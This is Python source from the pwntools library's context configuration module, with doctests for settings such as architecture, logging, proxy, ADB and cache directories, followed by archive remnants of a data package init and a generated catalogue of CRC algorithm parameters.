Examples: >>> context.bytes = 1 >>> context.bits == 8 True >>> context.bytes = 0 #doctest: +ELLIPSIS Traceback (most recent call last): ... AttributeError: bits must be > 0 (0) """ return self.bits // 8 @bytes.setter def bytes(self, value): self.bits = value*8 @_validator def encoding(self, charset): if charset == 'auto': return charset if ( b'aA'.decode(charset) != 'aA' or 'aA'.encode(charset) != b'aA'): raise ValueError('Strange encoding!') return charset @_validator def endian(self, endianness): """ Endianness of the target machine. The default value is ``'little'``, but changes according to :attr:`arch`. Raises: AttributeError: An invalid endianness was provided Examples: >>> context.clear() >>> context.endian == 'little' True >>> context.endian = 'big' >>> context.endian 'big' >>> context.endian = 'be' >>> context.endian == 'big' True >>> context.endian = 'foobar' #doctest: +ELLIPSIS Traceback (most recent call last): ... AttributeError: endian must be one of ['be', 'big', 'eb', 'el', 'le', 'little'] """ endian = endianness.lower() if endian not in self.endiannesses: raise AttributeError("endian must be one of %r" % sorted(self.endiannesses)) return self.endiannesses[endian] @_validator def log_level(self, value): """ Sets the verbosity of ``pwntools`` logging mechanism. More specifically it controls the filtering of messages that happens inside the handler for logging to the screen. So if you want e.g. log all messages to a file, then this attribute makes no difference to you. Valid values are specified by the standard Python ``logging`` module. Default value is set to ``INFO``. Examples: >>> context.log_level = 'error' >>> context.log_level == logging.ERROR True >>> context.log_level = 10 >>> context.log_level = 'foobar' #doctest: +ELLIPSIS Traceback (most recent call last): ... AttributeError: log_level must be an integer or one of ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING'] """ # If it can be converted into an int, success try: return int(value) except ValueError: pass # If it is defined in the logging module, success try: return getattr(logging, value.upper()) except AttributeError: pass # Otherwise, fail try: level_names = logging._levelToName.values() except AttributeError: level_names = filter(lambda x: isinstance(x,str), logging._levelNames) permitted = sorted(level_names) raise AttributeError('log_level must be an integer or one of %r' % permitted) @_validator def log_file(self, value): r""" Sets the target file for all logging output. Works in a similar fashion to :attr:`log_level`. Examples: >>> foo_txt = tempfile.mktemp() >>> bar_txt = tempfile.mktemp() >>> context.log_file = foo_txt >>> log.debug('Hello!') >>> with context.local(log_level='ERROR'): #doctest: +ELLIPSIS ... log.info('Hello again!') >>> with context.local(log_file=bar_txt): ... log.debug('Hello from bar!') >>> log.info('Hello from foo!') >>> open(foo_txt).readlines()[-3] #doctest: +ELLIPSIS '...:DEBUG:...:Hello!\n' >>> open(foo_txt).readlines()[-2] #doctest: +ELLIPSIS '...:INFO:...:Hello again!\n' >>> open(foo_txt).readlines()[-1] #doctest: +ELLIPSIS '...:INFO:...:Hello from foo!\n' >>> open(bar_txt).readlines()[-1] #doctest: +ELLIPSIS '...:DEBUG:...:Hello from bar!\n' """ if isinstance(value, (bytes, six.text_type)): # check if mode was specified as "[value],[mode]" from pwnlib.util.packing import _need_text value = _need_text(value) if ',' not in value: value += ',a' filename, mode = value.rsplit(',', 1) value = open(filename, mode) elif not hasattr(value, "fileno"): raise AttributeError('log_file must be a file') # Is this the same file we already have open? # If so, don't re-print the banner. if self.log_file and not isinstance(self.log_file, _devnull): a = os.fstat(value.fileno()).st_ino b = os.fstat(self.log_file.fileno()).st_ino if a == b: return self.log_file iso_8601 = '%Y-%m-%dT%H:%M:%S' lines = [ '=' * 78, ' Started at %s ' % time.strftime(iso_8601), ' sys.argv = [', ] for arg in sys.argv: lines.append(' %r,' % arg) lines.append(' ]') lines.append('=' * 78) for line in lines: value.write('=%-78s=\n' % line) value.flush() return value @_validator def log_console(self, stream): """ Sets the default logging console target. Examples: >>> context.log_level = 'warn' >>> log.warn("Hello") [!] Hello >>> context.log_console=open('/dev/null', 'w') >>> log.warn("Hello") >>> context.clear() """ if isinstance(stream, str): stream = open(stream, 'wt') return stream @_validator def local_libcdb(self, path): """ Sets path to local libc-database, get more information for libc-database: https://github.com/niklasb/libc-database Works in :attr:`pwnlib.libcdb` when searching by local database provider. The default value is ``/var/lib/libc-database``. Sets `context.local_libcdb` to empty string or `None` will turn off local libc-database integration. Examples: >>> context.local_libcdb = pwnlib.data.elf.path >>> context.local_libcdb = 'foobar' Traceback (most recent call last): ... AttributeError: 'foobar' does not exist, please download libc-database first """ if not os.path.isdir(path): raise AttributeError("'%s' does not exist, please download libc-database first" % path) return path @property def mask(self): return (1 << self.bits) - 1 @_validator def os(self, os): r""" Operating system of the target machine. The default value is ``linux``. Allowed values are listed in :attr:`pwnlib.context.ContextType.oses`. Side Effects: If an os is specified some attributes will be set on the context if a user has not already set a value. The following property may be modified: - :attr:`newline` Raises: AttributeError: An invalid os was specified Examples: >>> context.clear() >>> context.os == 'linux' # Default os True >>> context.os = 'freebsd' >>> context.os == 'freebsd' True >>> context.os = 'foobar' #doctest: +ELLIPSIS Traceback (most recent call last): ... AttributeError: os must be one of ['android', 'baremetal', 'cgc', 'freebsd', 'linux', 'windows'] >>> context.clear() >>> context.newline == b'\n' # Default value True >>> context.os = 'windows' >>> context.newline == b'\r\n' # New value True Note that expressly setting :attr:`newline` means that we use that value instead of the default >>> context.clear() >>> context.newline = b'\n' >>> context.os = 'windows' >>> context.newline == b'\n' True Setting the os can override the default for :attr:`newline` >>> context.clear() >>> context.os = 'windows' >>> vars(context) == {'os': 'windows', 'newline': b'\r\n'} True """ os = os.lower() try: defaults = self.oses[os] except KeyError: raise AttributeError("os must be one of %r" % sorted(self.oses)) for k,v in defaults.items(): if k not in self._tls: self._tls[k] = v return os @_validator def randomize(self, r): """ Global flag that lots of things should be randomized. """ return bool(r) @_validator def signed(self, signed): """ Signed-ness for packing operation when it's not explicitly set. Can be set to any non-string truthy value, or the specific string values ``'signed'`` or ``'unsigned'`` which are converted into :const:`True` and :const:`False` correspondingly. Examples: >>> context.signed False >>> context.signed = 1 >>> context.signed True >>> context.signed = 'signed' >>> context.signed True >>> context.signed = 'unsigned' >>> context.signed False >>> context.signed = 'foobar' #doctest: +ELLIPSIS Traceback (most recent call last): ... AttributeError: signed must be one of ['no', 'signed', 'unsigned', 'yes'] or a non-string truthy value """ try: signed = self.signednesses[signed] except KeyError: pass if isinstance(signed, str): raise AttributeError('signed must be one of %r or a non-string truthy value' % sorted(self.signednesses)) return bool(signed) @_validator def timeout(self, value=Timeout.default): """ Default amount of time to wait for a blocking operation before it times out, specified in seconds. The default value is to have an infinite timeout. See :class:`pwnlib.timeout.Timeout` for additional information on valid values. """ return Timeout(value).timeout @_validator def terminal(self, value): """ Default terminal used by :meth:`pwnlib.util.misc.run_in_new_terminal`. Can be a string or an iterable of strings. In the latter case the first entry is the terminal and the rest are default arguments. """ if isinstance(value, (bytes, six.text_type)): return [value] return value @property def abi(self): return self._abi @_validator def proxy(self, proxy): """ Default proxy for all socket connections. Accepts either a string (hostname or IP address) for a SOCKS5 proxy on the default port, **or** a ``tuple`` passed to ``socks.set_default_proxy``, e.g. ``(socks.SOCKS4, 'localhost', 1234)``. >>> context.proxy = 'localhost' #doctest: +ELLIPSIS >>> r=remote('google.com', 80) Traceback (most recent call last): ... ProxyConnectionError: Error connecting to SOCKS5 proxy localhost:1080: [Errno 111] Connection refused >>> context.proxy = None >>> r=remote('google.com', 80, level='error') """ if not proxy: socket.socket = _original_socket return None if isinstance(proxy, str): proxy = (socks.SOCKS5, proxy) if not isinstance(proxy, Iterable): raise AttributeError('proxy must be a string hostname, or tuple of arguments for socks.set_default_proxy') socks.set_default_proxy(*proxy) socket.socket = socks.socksocket return proxy @_validator def noptrace(self, value): """Disable all actions which rely on ptrace. This is useful for switching between local exploitation with a debugger, and remote exploitation (without a debugger). This option can be set with the ``NOPTRACE`` command-line argument. """ return bool(value) @_validator def adb_host(self, value): """Sets the target host which is used for ADB. This is useful for Android exploitation. The default value is inherited from ANDROID_ADB_SERVER_HOST, or set to the default 'localhost'. """ return str(value) @_validator def adb_port(self, value): """Sets the target port which is used for ADB. This is useful for Android exploitation. The default value is inherited from ANDROID_ADB_SERVER_PORT, or set to the default 5037. """ return int(value) @_validator def device(self, device): """Sets the device being operated on. """ if isinstance(device, (bytes, six.text_type)): device = Device(device) if isinstance(device, Device): self.arch = device.arch or self.arch self.bits = device.bits or self.bits self.endian = device.endian or self.endian self.os = device.os or self.os elif device is not None: raise AttributeError("device must be either a Device object or a serial number as a string") return device @property def adb(self): """Returns an argument array for connecting to adb. Unless ``$ADB_PATH`` is set, uses the default ``adb`` binary in ``$PATH``. """ ADB_PATH = os.environ.get('ADB_PATH', 'adb') command = [ADB_PATH] if self.adb_host != self.defaults['adb_host']: command += ['-H', self.adb_host] if self.adb_port != self.defaults['adb_port']: command += ['-P', str(self.adb_port)] if self.device: command += ['-s', str(self.device)] return command @_validator def buffer_size(self, size): """Internal buffer size to use for :class:`pwnlib.tubes.tube.tube` objects. This is not the maximum size of the buffer, but this is the amount of data which is passed to each raw ``read`` syscall (or equivalent). """ return int(size) @_validator def cache_dir_base(self, new_base): """Base directory to use for caching content. Changing this to a different value will clear the :attr:`cache_dir` path stored in TLS since a new path will need to be generated to respect the new :attr:`cache_dir_base` value. """ if new_base != self.cache_dir_base: del self._tls["cache_dir"] if os.access(new_base, os.F_OK) and not os.access(new_base, os.W_OK): raise OSError(errno.EPERM, "Cache base dir is not writable") return new_base @property def cache_dir(self): """Directory used for caching data. Note: May be either a path string, or :const:`None`. Set to :const:`None` to disable caching. Set to :const:`True` to generate the default cache directory path based on :attr:`cache_dir_base` again. Example: >>> cache_dir = context.cache_dir >>> cache_dir is not None True >>> os.chmod(cache_dir, 0o000) >>> context.cache_dir = True >>> context.cache_dir is None True >>> os.chmod(cache_dir, 0o755) >>> cache_dir == context.cache_dir True >>> context.cache_dir = None >>> context.cache_dir is None True >>> context.cache_dir = True >>> context.cache_dir is not None True """ try: # If the TLS already has a cache directory path, we return it # without any futher checks since it must have been valid when it # was set and if that has changed, hiding the TOCTOU here would be # potentially confusing return self._tls["cache_dir"] except KeyError: pass # Attempt to create a Python version specific cache dir and its parents cache_dirname = '.pwntools-cache-%d.%d' % sys.version_info[:2] cache_dirpath = os.path.join(self.cache_dir_base, cache_dirname) try: os.makedirs(cache_dirpath) except OSError as exc: # If we failed for any reason other than the cache directory # already existing then we'll fall back to a temporary directory # object which doesn't respect the `cache_dir_base` if exc.errno != errno.EEXIST: try: cache_dirpath = tempfile.mkdtemp(prefix=".pwntools-tmp") except IOError: # This implies no good candidates for temporary files so we # have to return `None` return None else: # Ensure the temporary cache dir is cleaned up on exit. A # `TemporaryDirectory` would do this better upon garbage # collection but this is necessary for Python 2 support. atexit.register(shutil.rmtree, cache_dirpath) # By this time we have a cache directory which exists but we don't know # if it is actually writable. Some wargames e.g. pwnable.kr have # created dummy directories which cannot be modified by the user # account (owned by root). if os.access(cache_dirpath, os.W_OK): # Stash this in TLS for later reuse self._tls["cache_dir"] = cache_dirpath return cache_dirpath else: return None @cache_dir.setter def cache_dir(self, v): if v is True: del self._tls["cache_dir"] elif v is None or os.access(v, os.W_OK): # Stash this in TLS for later reuse self._tls["cache_dir"] = v @_validator def delete_corefiles(self, v): """Whether pwntools automatically deletes corefiles after exiting. This only affects corefiles accessed via :attr:`.process.corefile`. Default value is ``False``. """ return bool(v) @_validator def rename_corefiles(self, v): """Whether pwntools automatically renames corefiles. This is useful for two things: - Prevent corefiles from being overwritten, if ``kernel.core_pattern`` is something simple like ``"core"``. - Ensure corefiles are generated, if ``kernel.core_pattern`` uses ``apport``, which refuses to overwrite any existing files. This only affects corefiles accessed via :attr:`.process.corefile`. Default value is ``True``. """ return bool(v) @_validator def newline(self, v): """Line ending used for Tubes by default. This configures the newline emitted by e.g. ``sendline`` or that is used as a delimiter for e.g. ``recvline``. """ # circular imports from pwnlib.util.packing import _need_bytes return _need_bytes(v) @_validator def throw_eof_on_incomplete_line(self, v): """Whether to raise an :class:`EOFError` if an EOF is received before a newline in ``tube.recvline``. Controls if an :class:`EOFError` is treated as newline in ``tube.recvline`` and similar functions and whether a warning should be logged about it. Possible values are: - ``True``: Raise an :class:`EOFError` if an EOF is received before a newline. - ``False``: Return the data received so far if an EOF is received before a newline without logging a warning. - ``None``: Return the data received so far if an EOF is received before a newline and log a warning. Default value is ``None``. """ return v if v is None else bool(v) @_validator def gdbinit(self, value): """Path to the gdbinit that is used when running GDB locally. This is useful if you want pwntools-launched GDB to include some additional modules, like PEDA but you do not want to have GDB include them by default. The setting will only apply when GDB is launched locally since remote hosts may not have the necessary requirements for the gdbinit. If set to an empty string, GDB will use the default `~/.gdbinit`. Default value is ``""``. """ return str(value) @_validator def gdb_binary(self, value): """Path to the binary that is used when running GDB locally. This is useful when you have multiple versions of gdb installed or the gdb binary is called something different. If set to an empty string, pwntools will try to search for a reasonable gdb binary from the path. Default value is ``""``. """ return str(value) @_validator def cyclic_alphabet(self, alphabet): """Cyclic alphabet. Default value is `string.ascii_lowercase`. """ # Do not allow multiple occurrences if len(set(alphabet)) != len(alphabet): raise AttributeError("cyclic alphabet cannot contain duplicates") return alphabet.encode() @_validator def cyclic_size(self, size): """Cyclic pattern size. Default value is `4`. """ size = int(size) if size > self.bytes: raise AttributeError("cyclic pattern size cannot be larger than word size") return size @_validator def ssh_session(self, shell): from pwnlib.tubes.ssh import ssh if not isinstance(shell, ssh): raise AttributeError("context.ssh_session must be an ssh tube") return shell #************************************************************************* # ALIASES #************************************************************************* # # These fields are aliases for fields defined above, either for # convenience or compatibility. # #************************************************************************* def __call__(self, **kwargs): """ Alias for :meth:`pwnlib.context.ContextType.update` """ return self.update(**kwargs) def reset_local(self): """ Deprecated. Use :meth:`clear`. """ self.clear() @property def endianness(self): """ Legacy alias for :attr:`endian`. Examples: >>> context.endian == context.endianness True """ return self.endian @endianness.setter def endianness(self, value): self.endian = value @property def sign(self): """ Alias for :attr:`signed` """ return self.signed @sign.setter def sign(self, value): self.signed = value @property def signedness(self): """ Alias for :attr:`signed` """ return self.signed @signedness.setter def signedness(self, value): self.signed = value @property def word_size(self): """ Alias for :attr:`bits` """ return self.bits @word_size.setter def word_size(self, value): self.bits = value Thread = Thread #: Global :class:`.ContextType` object, used to store commonly-used pwntools settings. #: #: In most cases, the context is used to infer default variables values. #: For example, :func:`.asm` can take an ``arch`` parameter as a #: keyword argument. #: #: If it is not supplied, the ``arch`` specified by ``context`` is used instead. #: #: Consider it a shorthand to passing ``os=`` and ``arch=`` to every single #: function call. context = ContextType() # Inherit default ADB values if 'ANDROID_ADB_SERVER_HOST' in os.environ: context.adb_host = os.environ.get('ANDROID_ADB_SERVER_HOST') if 'ANDROID_ADB_SERVER_PORT' in os.environ: context.adb_port = int(os.getenv('ANDROID_ADB_SERVER_PORT')) def LocalContext(function): """ Wraps the specified function on a context.local() block, using kwargs. Example: >>> context.clear() >>> @LocalContext ... def printArch(): ... print(context.arch) >>> printArch() i386 >>> printArch(arch='arm') arm """ @functools.wraps(function) def setter(*a, **kw): with context.local(**{k:kw.pop(k) for k,v in tuple(kw.items()) if isinstance(getattr(ContextType, k, None), property)}): arch = context.arch bits = context.bits endian = context.endian # Prevent the user from doing silly things with invalid # architecture / bits / endianness combinations. if (arch == 'i386' and bits != 32) \ or (arch == 'amd64' and bits != 64): raise AttributeError("Invalid arch/bits combination: %s/%s" % (arch, bits)) if arch in ('i386', 'amd64') and endian == 'big': raise AttributeError("Invalid arch/endianness combination: %s/%s" % (arch, endian)) return function(*a, **kw) return setter def LocalNoarchContext(function): """ Same as LocalContext, but resets arch to :const:`'none'` by default Example: >>> @LocalNoarchContext ... def printArch(): ... print(context.arch) >>> printArch() none """ @functools.wraps(function) def setter(*a, **kw): kw.setdefault('arch', 'none') with context.local(**{k:kw.pop(k) for k,v in tuple(kw.items()) if isinstance(getattr(ContextType, k, None), property)}): return function(*a, **kw) return setter # Read configuration options from the context section def update_context_defaults(section): # Circular imports FTW! from pwnlib.util import safeeval from pwnlib.log import getLogger log = getLogger(__name__) for key, value in section.items(): if key not in ContextType.defaults: log.warn("Unknown configuration option %r in section %r" % (key, 'context')) continue default = ContextType.defaults[key] if isinstance(default, six.string_types + six.integer_types + (tuple, list, dict)): value = safeeval.expr(value) else: log.warn("Unsupported configuration option %r in section %r" % (key, 'context')) # Attempt to set the value, to see if it is value: try: with context.local(**{key: value}): value = getattr(context, key) except (ValueError, AttributeError) as e: log.warn("Could not set context.%s=%s via pwn.conf (%s)", key, section[key], e) continue ContextType.defaults[key] = value register_config('context', update_context_defaults) Gallopsled-pwntools-3ad86ec/pwnlib/data/000077500000000000000000000000001507273764500204065ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/__init__.py000066400000000000000000000004031507273764500225140ustar00rootroot00000000000000from __future__ import absolute_import try: # These files are not distributed with Pwntools, but # are in the source tree and used for testing. from pwnlib.data import elf except ImportError: pass import os path = os.path.dirname(__file__) Gallopsled-pwntools-3ad86ec/pwnlib/data/crcsums.txt000066400000000000000000000416461507273764500226410ustar00rootroot00000000000000# This file was generated using the command: # curl -s 'https://reveng.sourceforge.io/crc-catalogue/all.htm' | sed -nr -e 's@.*?C.*@\1@p' -e 's@.*(width=.*).*@\1@p' | sed '$!N;s/\n/ /' # # At the time of download, that page was available under the GPLv3 license, which can found here: # https://www.gnu.org/licenses/gpl.html # crc.cat.crc-3-gsm width=3 poly=0x3 init=0x0 refin=false refout=false xorout=0x7 check=0x4 residue=0x2 name="CRC-3/GSM" crc.cat.crc-3-rohc width=3 poly=0x3 init=0x7 refin=true refout=true xorout=0x0 check=0x6 residue=0x0 name="CRC-3/ROHC" crc.cat.crc-4-g-704 width=4 poly=0x3 init=0x0 refin=true refout=true xorout=0x0 check=0x7 residue=0x0 name="CRC-4/G-704" crc.cat.crc-4-interlaken width=4 poly=0x3 init=0xf refin=false refout=false xorout=0xf check=0xb residue=0x2 name="CRC-4/INTERLAKEN" crc.cat.crc-5-epc-c1g2 width=5 poly=0x09 init=0x09 refin=false refout=false xorout=0x00 check=0x00 residue=0x00 name="CRC-5/EPC-C1G2" crc.cat.crc-5-g-704 width=5 poly=0x15 init=0x00 refin=true refout=true xorout=0x00 check=0x07 residue=0x00 name="CRC-5/G-704" crc.cat.crc-5-usb width=5 poly=0x05 init=0x1f refin=true refout=true xorout=0x1f check=0x19 residue=0x06 name="CRC-5/USB" crc.cat.crc-6-cdma2000-a width=6 poly=0x27 init=0x3f refin=false refout=false xorout=0x00 check=0x0d residue=0x00 name="CRC-6/CDMA2000-A" crc.cat.crc-6-cdma2000-b width=6 poly=0x07 init=0x3f refin=false refout=false xorout=0x00 check=0x3b residue=0x00 name="CRC-6/CDMA2000-B" crc.cat.crc-6-darc width=6 poly=0x19 init=0x00 refin=true refout=true xorout=0x00 check=0x26 residue=0x00 name="CRC-6/DARC" crc.cat.crc-6-g-704 width=6 poly=0x03 init=0x00 refin=true refout=true xorout=0x00 check=0x06 residue=0x00 name="CRC-6/G-704" crc.cat.crc-6-gsm width=6 poly=0x2f init=0x00 refin=false refout=false xorout=0x3f check=0x13 residue=0x3a name="CRC-6/GSM" crc.cat.crc-7-mmc width=7 poly=0x09 init=0x00 refin=false refout=false xorout=0x00 check=0x75 residue=0x00 name="CRC-7/MMC" crc.cat.crc-7-rohc width=7 poly=0x4f init=0x7f refin=true refout=true xorout=0x00 check=0x53 residue=0x00 name="CRC-7/ROHC" crc.cat.crc-7-umts width=7 poly=0x45 init=0x00 refin=false refout=false xorout=0x00 check=0x61 residue=0x00 name="CRC-7/UMTS" crc.cat.crc-8-autosar width=8 poly=0x2f init=0xff refin=false refout=false xorout=0xff check=0xdf residue=0x42 name="CRC-8/AUTOSAR" crc.cat.crc-8-bluetooth width=8 poly=0xa7 init=0x00 refin=true refout=true xorout=0x00 check=0x26 residue=0x00 name="CRC-8/BLUETOOTH" crc.cat.crc-8-cdma2000 width=8 poly=0x9b init=0xff refin=false refout=false xorout=0x00 check=0xda residue=0x00 name="CRC-8/CDMA2000" crc.cat.crc-8-darc width=8 poly=0x39 init=0x00 refin=true refout=true xorout=0x00 check=0x15 residue=0x00 name="CRC-8/DARC" crc.cat.crc-8-dvb-s2 width=8 poly=0xd5 init=0x00 refin=false refout=false xorout=0x00 check=0xbc residue=0x00 name="CRC-8/DVB-S2" crc.cat.crc-8-gsm-a width=8 poly=0x1d init=0x00 refin=false refout=false xorout=0x00 check=0x37 residue=0x00 name="CRC-8/GSM-A" crc.cat.crc-8-gsm-b width=8 poly=0x49 init=0x00 refin=false refout=false xorout=0xff check=0x94 residue=0x53 name="CRC-8/GSM-B" crc.cat.crc-8-hitag width=8 poly=0x1d init=0xff refin=false refout=false xorout=0x00 check=0xb4 residue=0x00 name="CRC-8/HITAG" crc.cat.crc-8-i-432-1 width=8 poly=0x07 init=0x00 refin=false refout=false xorout=0x55 check=0xa1 residue=0xac name="CRC-8/I-432-1" crc.cat.crc-8-i-code width=8 poly=0x1d init=0xfd refin=false refout=false xorout=0x00 check=0x7e residue=0x00 name="CRC-8/I-CODE" crc.cat.crc-8-lte width=8 poly=0x9b init=0x00 refin=false refout=false xorout=0x00 check=0xea residue=0x00 name="CRC-8/LTE" crc.cat.crc-8-maxim-dow width=8 poly=0x31 init=0x00 refin=true refout=true xorout=0x00 check=0xa1 residue=0x00 name="CRC-8/MAXIM-DOW" crc.cat.crc-8-mifare-mad width=8 poly=0x1d init=0xc7 refin=false refout=false xorout=0x00 check=0x99 residue=0x00 name="CRC-8/MIFARE-MAD" crc.cat.crc-8-nrsc-5 width=8 poly=0x31 init=0xff refin=false refout=false xorout=0x00 check=0xf7 residue=0x00 name="CRC-8/NRSC-5" crc.cat.crc-8-opensafety width=8 poly=0x2f init=0x00 refin=false refout=false xorout=0x00 check=0x3e residue=0x00 name="CRC-8/OPENSAFETY" crc.cat.crc-8-rohc width=8 poly=0x07 init=0xff refin=true refout=true xorout=0x00 check=0xd0 residue=0x00 name="CRC-8/ROHC" crc.cat.crc-8-sae-j1850 width=8 poly=0x1d init=0xff refin=false refout=false xorout=0xff check=0x4b residue=0xc4 name="CRC-8/SAE-J1850" crc.cat.crc-8-smbus width=8 poly=0x07 init=0x00 refin=false refout=false xorout=0x00 check=0xf4 residue=0x00 name="CRC-8/SMBUS" crc.cat.crc-8-tech-3250 width=8 poly=0x1d init=0xff refin=true refout=true xorout=0x00 check=0x97 residue=0x00 name="CRC-8/TECH-3250" crc.cat.crc-8-wcdma width=8 poly=0x9b init=0x00 refin=true refout=true xorout=0x00 check=0x25 residue=0x00 name="CRC-8/WCDMA" crc.cat.crc-10-atm width=10 poly=0x233 init=0x000 refin=false refout=false xorout=0x000 check=0x199 residue=0x000 name="CRC-10/ATM" crc.cat.crc-10-cdma2000 width=10 poly=0x3d9 init=0x3ff refin=false refout=false xorout=0x000 check=0x233 residue=0x000 name="CRC-10/CDMA2000" crc.cat.crc-10-gsm width=10 poly=0x175 init=0x000 refin=false refout=false xorout=0x3ff check=0x12a residue=0x0c6 name="CRC-10/GSM" crc.cat.crc-11-flexray width=11 poly=0x385 init=0x01a refin=false refout=false xorout=0x000 check=0x5a3 residue=0x000 name="CRC-11/FLEXRAY" crc.cat.crc-11-umts width=11 poly=0x307 init=0x000 refin=false refout=false xorout=0x000 check=0x061 residue=0x000 name="CRC-11/UMTS" crc.cat.crc-12-cdma2000 width=12 poly=0xf13 init=0xfff refin=false refout=false xorout=0x000 check=0xd4d residue=0x000 name="CRC-12/CDMA2000" crc.cat.crc-12-dect width=12 poly=0x80f init=0x000 refin=false refout=false xorout=0x000 check=0xf5b residue=0x000 name="CRC-12/DECT" crc.cat.crc-12-gsm width=12 poly=0xd31 init=0x000 refin=false refout=false xorout=0xfff check=0xb34 residue=0x178 name="CRC-12/GSM" crc.cat.crc-12-umts width=12 poly=0x80f init=0x000 refin=false refout=true xorout=0x000 check=0xdaf residue=0x000 name="CRC-12/UMTS" crc.cat.crc-13-bbc width=13 poly=0x1cf5 init=0x0000 refin=false refout=false xorout=0x0000 check=0x04fa residue=0x0000 name="CRC-13/BBC" crc.cat.crc-14-darc width=14 poly=0x0805 init=0x0000 refin=true refout=true xorout=0x0000 check=0x082d residue=0x0000 name="CRC-14/DARC" crc.cat.crc-14-gsm width=14 poly=0x202d init=0x0000 refin=false refout=false xorout=0x3fff check=0x30ae residue=0x031e name="CRC-14/GSM" crc.cat.crc-15-can width=15 poly=0x4599 init=0x0000 refin=false refout=false xorout=0x0000 check=0x059e residue=0x0000 name="CRC-15/CAN" crc.cat.crc-15-mpt1327 width=15 poly=0x6815 init=0x0000 refin=false refout=false xorout=0x0001 check=0x2566 residue=0x6815 name="CRC-15/MPT1327" crc.cat.crc-16-arc width=16 poly=0x8005 init=0x0000 refin=true refout=true xorout=0x0000 check=0xbb3d residue=0x0000 name="CRC-16/ARC" crc.cat.crc-16-cdma2000 width=16 poly=0xc867 init=0xffff refin=false refout=false xorout=0x0000 check=0x4c06 residue=0x0000 name="CRC-16/CDMA2000" crc.cat.crc-16-cms width=16 poly=0x8005 init=0xffff refin=false refout=false xorout=0x0000 check=0xaee7 residue=0x0000 name="CRC-16/CMS" crc.cat.crc-16-dds-110 width=16 poly=0x8005 init=0x800d refin=false refout=false xorout=0x0000 check=0x9ecf residue=0x0000 name="CRC-16/DDS-110" crc.cat.crc-16-dect-r width=16 poly=0x0589 init=0x0000 refin=false refout=false xorout=0x0001 check=0x007e residue=0x0589 name="CRC-16/DECT-R" crc.cat.crc-16-dect-x width=16 poly=0x0589 init=0x0000 refin=false refout=false xorout=0x0000 check=0x007f residue=0x0000 name="CRC-16/DECT-X" crc.cat.crc-16-dnp width=16 poly=0x3d65 init=0x0000 refin=true refout=true xorout=0xffff check=0xea82 residue=0x66c5 name="CRC-16/DNP" crc.cat.crc-16-en-13757 width=16 poly=0x3d65 init=0x0000 refin=false refout=false xorout=0xffff check=0xc2b7 residue=0xa366 name="CRC-16/EN-13757" crc.cat.crc-16-genibus width=16 poly=0x1021 init=0xffff refin=false refout=false xorout=0xffff check=0xd64e residue=0x1d0f name="CRC-16/GENIBUS" crc.cat.crc-16-gsm width=16 poly=0x1021 init=0x0000 refin=false refout=false xorout=0xffff check=0xce3c residue=0x1d0f name="CRC-16/GSM" crc.cat.crc-16-ibm-3740 width=16 poly=0x1021 init=0xffff refin=false refout=false xorout=0x0000 check=0x29b1 residue=0x0000 name="CRC-16/IBM-3740" crc.cat.crc-16-ibm-sdlc width=16 poly=0x1021 init=0xffff refin=true refout=true xorout=0xffff check=0x906e residue=0xf0b8 name="CRC-16/IBM-SDLC" crc.cat.crc-16-iso-iec-14443-3-a width=16 poly=0x1021 init=0xc6c6 refin=true refout=true xorout=0x0000 check=0xbf05 residue=0x0000 name="CRC-16/ISO-IEC-14443-3-A" crc.cat.crc-16-kermit width=16 poly=0x1021 init=0x0000 refin=true refout=true xorout=0x0000 check=0x2189 residue=0x0000 name="CRC-16/KERMIT" crc.cat.crc-16-lj1200 width=16 poly=0x6f63 init=0x0000 refin=false refout=false xorout=0x0000 check=0xbdf4 residue=0x0000 name="CRC-16/LJ1200" crc.cat.crc-16-m17 width=16 poly=0x5935 init=0xffff refin=false refout=false xorout=0x0000 check=0x772b residue=0x0000 name="CRC-16/M17" crc.cat.crc-16-maxim-dow width=16 poly=0x8005 init=0x0000 refin=true refout=true xorout=0xffff check=0x44c2 residue=0xb001 name="CRC-16/MAXIM-DOW" crc.cat.crc-16-mcrf4xx width=16 poly=0x1021 init=0xffff refin=true refout=true xorout=0x0000 check=0x6f91 residue=0x0000 name="CRC-16/MCRF4XX" crc.cat.crc-16-modbus width=16 poly=0x8005 init=0xffff refin=true refout=true xorout=0x0000 check=0x4b37 residue=0x0000 name="CRC-16/MODBUS" crc.cat.crc-16-nrsc-5 width=16 poly=0x080b init=0xffff refin=true refout=true xorout=0x0000 check=0xa066 residue=0x0000 name="CRC-16/NRSC-5" crc.cat.crc-16-opensafety-a width=16 poly=0x5935 init=0x0000 refin=false refout=false xorout=0x0000 check=0x5d38 residue=0x0000 name="CRC-16/OPENSAFETY-A" crc.cat.crc-16-opensafety-b width=16 poly=0x755b init=0x0000 refin=false refout=false xorout=0x0000 check=0x20fe residue=0x0000 name="CRC-16/OPENSAFETY-B" crc.cat.crc-16-profibus width=16 poly=0x1dcf init=0xffff refin=false refout=false xorout=0xffff check=0xa819 residue=0xe394 name="CRC-16/PROFIBUS" crc.cat.crc-16-riello width=16 poly=0x1021 init=0xb2aa refin=true refout=true xorout=0x0000 check=0x63d0 residue=0x0000 name="CRC-16/RIELLO" crc.cat.crc-16-spi-fujitsu width=16 poly=0x1021 init=0x1d0f refin=false refout=false xorout=0x0000 check=0xe5cc residue=0x0000 name="CRC-16/SPI-FUJITSU" crc.cat.crc-16-t10-dif width=16 poly=0x8bb7 init=0x0000 refin=false refout=false xorout=0x0000 check=0xd0db residue=0x0000 name="CRC-16/T10-DIF" crc.cat.crc-16-teledisk width=16 poly=0xa097 init=0x0000 refin=false refout=false xorout=0x0000 check=0x0fb3 residue=0x0000 name="CRC-16/TELEDISK" crc.cat.crc-16-tms37157 width=16 poly=0x1021 init=0x89ec refin=true refout=true xorout=0x0000 check=0x26b1 residue=0x0000 name="CRC-16/TMS37157" crc.cat.crc-16-umts width=16 poly=0x8005 init=0x0000 refin=false refout=false xorout=0x0000 check=0xfee8 residue=0x0000 name="CRC-16/UMTS" crc.cat.crc-16-usb width=16 poly=0x8005 init=0xffff refin=true refout=true xorout=0xffff check=0xb4c8 residue=0xb001 name="CRC-16/USB" crc.cat.crc-16-xmodem width=16 poly=0x1021 init=0x0000 refin=false refout=false xorout=0x0000 check=0x31c3 residue=0x0000 name="CRC-16/XMODEM" crc.cat.crc-17-can-fd width=17 poly=0x1685b init=0x00000 refin=false refout=false xorout=0x00000 check=0x04f03 residue=0x00000 name="CRC-17/CAN-FD" crc.cat.crc-21-can-fd width=21 poly=0x102899 